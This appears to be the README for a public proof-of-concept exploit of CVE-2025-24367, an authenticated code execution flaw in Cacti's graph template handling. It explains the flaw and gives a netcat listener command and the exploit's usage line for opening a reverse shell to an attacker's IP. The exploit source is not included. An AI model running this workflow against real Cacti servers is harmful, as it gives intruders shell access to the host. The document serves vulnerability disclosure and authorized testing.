
CVE-2025-24367 - Cacti Authenticated Graph Template RCE
Proof-of-concept for CVE-2025-24367, an authenticated remote code execution in Cacti reachable through graph template handling. An authenticated user with graph-management access can cause attacker-controlled input to be written into a PHP path that is subsequently executed by the web server, yielding command execution as the web/Cacti user.
Cacti <= 1.2.28, fixed in 1.2.29 (GitHub advisory GHSA-fxrq-fr7h-9rqq). CVSS v4.0 base score 8.7 (High).
Cacti's graph template handling allows a value controlled by an authenticated user to reach a filesystem path that is later included/executed as PHP. Because the input is not constrained to a safe character set or location, it can be used to plant and trigger PHP code. The result is command execution in the context of the Cacti web process.
More precisely, the flaw is improper neutralization of line delimiters (CWE-144) in graph / graph-template handling: attacker-controlled field values carry newline sequences that survive into a generated PHP file under the Cacti web root, which the server then executes.
requests (pip install requests)nc -lvnp <port>)python3 exploit.py -u <user> -p <password> -url <base-url> -i <lhost> -l <lport> [--proxy]
| Flag | Description |
|---|---|
-u, --user | Cacti username |
-p, --password | Cacti password |
-url, --url | Base URL of the Cacti instance (e.g. http://target/cacti) |
-i, --ip | Attacker IP for the reverse shell |
-l, --port | Attacker listener port |
--proxy | Route traffic through http://127.0.0.1:8080 (Burp) for debugging |
Start a listener first, then run the exploit; a shell returns as the Cacti web user.
Authenticated remote code execution as the web-server/Cacti user. Depending on deployment this can lead to full host compromise or lateral movement to the backing database.
For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.
Dilanka Kaushal Hewage (r3vpwnx)
MIT - see LICENSE.